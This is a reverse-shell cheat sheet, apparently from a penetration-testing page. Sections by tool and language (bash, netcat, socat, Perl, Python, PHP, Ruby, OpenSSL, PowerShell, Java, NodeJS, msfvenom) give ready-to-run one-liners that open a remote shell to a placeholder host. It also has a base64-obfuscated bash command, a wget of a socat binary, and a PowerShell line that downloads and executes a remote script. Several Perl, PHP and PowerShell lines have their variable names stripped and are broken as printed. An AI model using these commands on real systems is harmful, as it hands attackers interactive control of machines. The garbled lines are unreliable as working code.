1.bash TCP
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bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
/bin/bash -i > /dev/tcp/127.0.0.1/8080 0<& 2>&1
exec 5<>/dev/tcp/127.0.0.1/8080;cat <&5 | while read line; do 2>&5 >&5; done
exec /bin/sh 0</dev/tcp/127.0.0.1/8080 1>&0 2>&0
0<&196;exec 196<>/dev/tcp/127.0.0.1/8080; sh <&196 >&196 2>&196
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Mi4xLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i} #base64
2.bash UDP
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sh -i >& /dev/udp/127.0.0.1/8080 0>&1
nc -u -lvp 8080
3.Netcat
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nc -e /bin/sh 127.0.0.1 8080
nc -e /bin/bash 127.0.0.1 8080
nc -c bash 127.0.0.1 8080
mknod backpipe p && nc 127.0.0.1 8080 0<backpipe | /bin/bash 1>backpipe
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 8080 >/tmp/f
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 127.0.0.1 8080 > f
rm -f /tmp/p; mknod /tmp/p p && nc 127.0.0.1 8080 0/tmp/p 2>&1
rm -f x; mknod x p && nc 127.0.0.1 8080 0<x | /bin/bash 1>x
4.Ncat
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ncat 127.0.0.1 8080 -e /bin/bash
ncat --udp 127.0.0.1 8080 -e /bin/bash
5.telnet
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rm -f /tmp/p; mknod /tmp/p p && telnet 127.0.0.1 8080 0/tmp/p 2>&1
telnet 127.0.0.1 8080 | /bin/bash | telnet 127.0.0.1 444
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 127.0.0.1 8080 > f
rm -f x; mknod x p && telnet 127.0.0.1 8080 0<x | /bin/bash 1>x
6.Socat
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/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:8080
socat tcp-connect:127.0.0.1:8080 exec:"bash -li",pty,stderr,setsid,sigint,sane
7.Listener
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socat file:`tty`,raw,echo=0 TCP-L:8080
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:8080
8.Perl
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perl -e 'use Socket;="127.0.0.1";=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(,inet_aton()))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '=fork;exit,if();=new IO::Socket::INET(PeerAddr,"127.0.0.1:8080");STDIN->fdopen(,r);$~->fdopen(,w);system while<>;'
9.Windows Only
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perl -MIO -e '=new IO::Socket::INET(PeerAddr,"127.0.0.1:8080");STDIN->fdopen(,r);$~->fdopen(,w);system while<>;'
Python:
IP v4
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
export RHOST="127.0.0.1";export RPORT=8080;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
IP v6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",8080,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
Windows only:
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('127.0.0.1', 8080)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
10.PHP
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php -r '=fsockopen("127.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '=fsockopen("127.0.0.1",8080);=proc_open("/bin/sh -i", array(0=>, 1=>, 2=>),);'
php -r '=fsockopen("127.0.0.1",8080);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '=fsockopen("127.0.0.1",8080);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '=fsockopen("127.0.0.1",8080);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '=fsockopen("127.0.0.1",8080);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
11.Ruby
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ruby -rsocket -e'f=TCPSocket.open("127.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("127.0.0.1","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
NOTE: Windows only
ruby -rsocket -e 'c=TCPSocket.new("127.0.0.1","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
12.OpenSSL
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Attacker:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 8080
or
ncat --ssl -vv -l -p 8080
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:8080 > /tmp/s; rm /tmp/s
13.Powershell
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powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("127.0.0.1",8080); = .GetStream();[byte[]] = 0..65535|%{0};while(( = .Read(, 0, .Length)) -ne 0){; = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(,0, ); = (iex 2>&1 | Out-String ); = + "PS " + (pwd).Path + "> "; = ([text.encoding]::ASCII).GetBytes();.Write(,0,.Length);.Flush()};.Close()
powershell -nop -c " = New-Object System.Net.Sockets.TCPClient('127.0.0.1',8080); = .GetStream();[byte[]] = 0..65535|%{0};while(( = .Read(, 0, .Length)) -ne 0){; = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(,0, ); = (iex 2>&1 | Out-String ); = + 'PS ' + (pwd).Path + '> '; = ([text.encoding]::ASCII).GetBytes();.Write(,0,.Length);.Flush()};.Close()"
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
14.Java
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r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/127.0.0.1/8080;cat <&5 | while read line; do \ 2>&5 >&5; done"] as String[])
p.waitFor()
String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Thread thread = new Thread(){
public void run(){
// Reverse shell here
}
}
thread.start();
15.NodeJS
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(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "127.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
require('child_process').exec('nc -e /bin/sh 127.0.0.1 8080')
-var x = global.process.mainModule.require
-x('child_process').exec('nc 127.0.0.1 8080 -e /bin/bash')
16.Meterpreter Shell
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msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8080 -f exe > reverse.exe
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=8080 -f exe > reverse.exe
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8080 -f elf >reverse.elf
msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=8080 -f elf >reverse.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="127.0.0.1" LPORT=8080 -f elf > shell.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST="127.0.0.1" LPORT=8080 -f exe > shell.exe
msfvenom -p osx/x86/shell_reverse_tcp LHOST="127.0.0.1" LPORT=8080 -f macho > shell.macho
msfvenom -p windows/meterpreter/reverse_tcp LHOST="127.0.0.1" LPORT=8080 -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST="127.0.0.1" LPORT=8080 -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST="127.0.0.1" LPORT=8080 -f war > shell.war
msfvenom -p cmd/unix/reverse_python LHOST="127.0.0.1" LPORT=8080 -f raw > shell.py
msfvenom -p cmd/unix/reverse_bash LHOST="127.0.0.1" LPORT=8080 -f raw > shell.sh
msfvenom -p cmd/unix/reverse_perl LHOST="127.0.0.1" LPORT=8080 -f raw > shell.pl
